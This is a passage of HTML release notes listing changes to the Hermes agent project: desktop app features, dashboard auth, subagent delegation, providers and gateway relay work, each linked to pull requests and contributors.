<li><strong><code>/learn &lt;anything&gt;</code></strong> — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55956/hovercard">#55956</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/journey</code></strong> — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Cheaper background review</strong> — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>memory</code> graph</strong> in the desktop — playable radial timeline of memories + skills over time (<a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>Coding cockpit</h3>
<ul>
<li><strong>First-class Projects</strong> — per-profile sidebar, coding rail, review pane, agent project tools (<code>project → repo → lane</code>); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Multi-terminal panel</strong> with read-only agent terminals; persist &amp; restore terminal tabs + scrollback across relaunch (<a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54585" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54585/hovercard">#54585</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>PR-style file diffs in chat</strong>; in-app spot editor for the file preview pane; inline rich embeds, diagrams &amp; alerts in assistant markdown (<a href="https://github.com/NousResearch/hermes-agent/pull/50731" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50731/hovercard">#50731</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52772/hovercard">#52772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52935" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52935/hovercard">#52935</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>UX &amp; surfaces</h3>
<ul>
<li>Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (<a href="https://github.com/NousResearch/hermes-agent/pull/51094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51094/hovercard">#51094</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54907/hovercard">#54907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55033/hovercard">#55033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49488/hovercard">#49488</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
<li>Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (<a href="https://github.com/NousResearch/hermes-agent/pull/55154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55154/hovercard">#55154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52086/hovercard">#52086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52993/hovercard">#52993</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54558/hovercard">#54558</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Backup import/create/download from the web UI; add context-usage popover; flag already-installed themes in install pickers; config-driven Electron launch flags + GPU policy (<a href="https://github.com/NousResearch/hermes-agent/pull/54611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54611/hovercard">#54611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55410/hovercard">#55410</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53991/hovercard">#53991</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Pets</strong> — roaming pet (opt-in), calmer/realistic roam, Alt+wheel scaling never cropped, frame-perfect hatch flow + CPU-safe chroma, pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/55114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55114/hovercard">#55114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55400/hovercard">#55400</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52877" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52877/hovercard">#52877</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47959/hovercard">#47959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52303/hovercard">#52303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Refactor wave (composer / god-file de-entangle)</h3>
<ul>
<li>Decomposed the composer into isolated engine hooks; extracted branch/esc/url/placeholder/popout engines; split <code>thread.tsx</code>, <code>sidebar/index.tsx</code>, onboarding overlay, and <code>use-prompt-actions</code> god files into focused modules; shared WebSocket layer decoupling desktop from dashboard (<code>hermes serve</code>) (<a href="https://github.com/NousResearch/hermes-agent/pull/55500" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55500/hovercard">#55500</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55842/hovercard">#55842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55451" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55451/hovercard">#55451</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55453" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55453/hovercard">#55453</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55807" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55807/hovercard">#55807</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55504/hovercard">#55504</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54568" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54568/hovercard">#54568</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>perf: bound tool-result rendering so big <code>/learn</code> runs don't freeze; fast session switching under load (<a href="https://github.com/NousResearch/hermes-agent/pull/52273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52273/hovercard">#52273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52620" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52620/hovercard">#52620</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Auto-initiate portal SSO redirect on unauthenticated load; interactive auth setup on no-provider non-loopback bind; confidential-client (<code>client_secret</code>) support in self-hosted OIDC (<a href="https://github.com/NousResearch/hermes-agent/pull/54846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54846/hovercard">#54846</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50551/hovercard">#50551</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55344" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55344/hovercard">#55344</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Catalogue all memory-provider API keys in <code>OPTIONAL_ENV_VARS</code>; list &amp; add arbitrary custom <code>.env</code> keys on the Keys page; expose cron job execution fields; backup import/create/download (<a href="https://github.com/NousResearch/hermes-agent/pull/54546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54546/hovercard">#54546</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54552/hovercard">#54552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53551/hovercard">#53551</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54611/hovercard">#54611</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Offload PTY spawn/close off the event loop; exclude non-interactive providers from interactive login surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53227/hovercard">#53227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53239" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53239/hovercard">#53239</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Delegation &amp; subagents</h3>
<ul>
<li><strong>Background fan-out</strong> — parallel subagents run in the background, one consolidated return when all finish; calm "will resume" affordance for background <code>delegate_task</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52756/hovercard">#52756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Track background subagents in the CLI + TUI status bar (<a href="https://github.com/NousResearch/hermes-agent/pull/51441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51441/hovercard">#51441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51485" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51485/hovercard">#51485</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, tools &amp; coding context</h3>
<ul>
<li>One-shot LLM helper + <code>llm.oneshot</code> gateway RPC; expose coding-context project facts (<code>project.facts</code> RPC) (<a href="https://github.com/NousResearch/hermes-agent/pull/51261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51261/hovercard">#51261</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51259/hovercard">#51259</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>web_extract</code> truncate-and-store instead of LLM summarization; concurrent @-reference expansion (<a href="https://github.com/NousResearch/hermes-agent/pull/54843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54843/hovercard">#54843</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55207/hovercard">#55207</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Friendly human-phrased tool labels for built-in tools; <code>/reasoning full</code> (uncapped thinking); <code>/timestamps</code> + timestamps in <code>/history</code>; <code>/prompt</code> composes in <code>$EDITOR</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/55166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55166/hovercard">#55166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50499" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50499/hovercard">#50499</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50506/hovercard">#50506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-reasoning-model stale-timeout floor in stream + non-stream detectors; escalate SIGTERM→SIGKILL on host-pid termination after grace (<a href="https://github.com/NousResearch/hermes-agent/pull/52845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52845/hovercard">#52845</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50489/hovercard">#50489</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multiple <code>HERMES_WRITE_SAFE_ROOT</code> dirs; opt-in HTTP/WS body capture to an isolated, share-excluded <code>gui_bodies.log</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/53292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53292/hovercard">#53292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49044" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49044/hovercard">#49044</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Compression &amp; sessions</h3>
<ul>
<li>In-place compaction option (single session id); flip <code>in_place</code> default to True with a guard fix (<a href="https://github.com/NousResearch/hermes-agent/pull/49739" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49739/hovercard">#49739</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52658" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52658/hovercard">#52658</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Backup includes <code>projects.db</code> and kanban boards in the pre-update snapshot (<a href="https://github.com/NousResearch/hermes-agent/pull/52990" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52990/hovercard">#52990</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Google Vertex AI</strong> first-class provider for Gemini over the OpenAI-compatible endpoint — auto-mints and refreshes short-lived OAuth2 tokens from a service-account JSON / ADC (no static key); salvages &amp; modernizes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248493655" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/8427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/8427/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/8427">#8427</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a> (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</li>
<li>Krea via managed Nous Subscription gateway; Z.AI endpoint picker (Global/China/Coding Plan); Ollama-cloud reasoning_effort wiring; remove google-gemini-cli + google-antigravity OAuth providers (<a href="https://github.com/NousResearch/hermes-agent/pull/52647" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52647/hovercard">#52647</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52364/hovercard">#52364</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51494/hovercard">#51494</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50492/hovercard">#50492</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Honor <code>NOUS_INFERENCE_BASE_URL</code> env override for Nous OAuth; keep Nous auth fresh for idle dashboard/gateway agents (<a href="https://github.com/NousResearch/hermes-agent/pull/52270" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52270/hovercard">#52270</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50567/hovercard">#50567</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<h3>Scale-to-zero &amp; drain</h3>
<ul>
<li><strong>Scale-to-zero idle detection + dormant-quiesce (Phase 0)</strong>; hardened dormancy guards; fixed arm-gate counting disabled placeholder platforms (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52359" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52359/hovercard">#52359</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52831/hovercard">#52831</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>External drain coordination (safe-shutdown Phase 2)</strong>; suppress home-channel shutdown broadcast on flagged drains; persist in-flight transcript on restart/shutdown drain timeout; busy/idle readout for safe lifecycle actions (<a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50312/hovercard">#50312</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50131/hovercard">#50131</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Default <code>restart_drain_timeout</code> to 0 to kill a systemd crash loop; self-heal a gateway stranded in draining/degraded (<a href="https://github.com/NousResearch/hermes-agent/pull/54066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54066/hovercard">#54066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55397/hovercard">#55397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Relay (Phase 5 / 6)</h3>
<ul>
<li>Wake primitive (gateway side); going-idle / buffered-flip primitive; <code>passthrough_forward</code> over WS; multi-platform-per-agent identity + per-frame egress; forward stable instance id at self-provision; declare relevance policy to the connector (<a href="https://github.com/NousResearch/hermes-agent/pull/51595" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51595/hovercard">#51595</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51572/hovercard">#51572</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50702/hovercard">#50702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52830" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52830/hovercard">#52830</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50772/hovercard">#50772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51248/hovercard">#51248</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
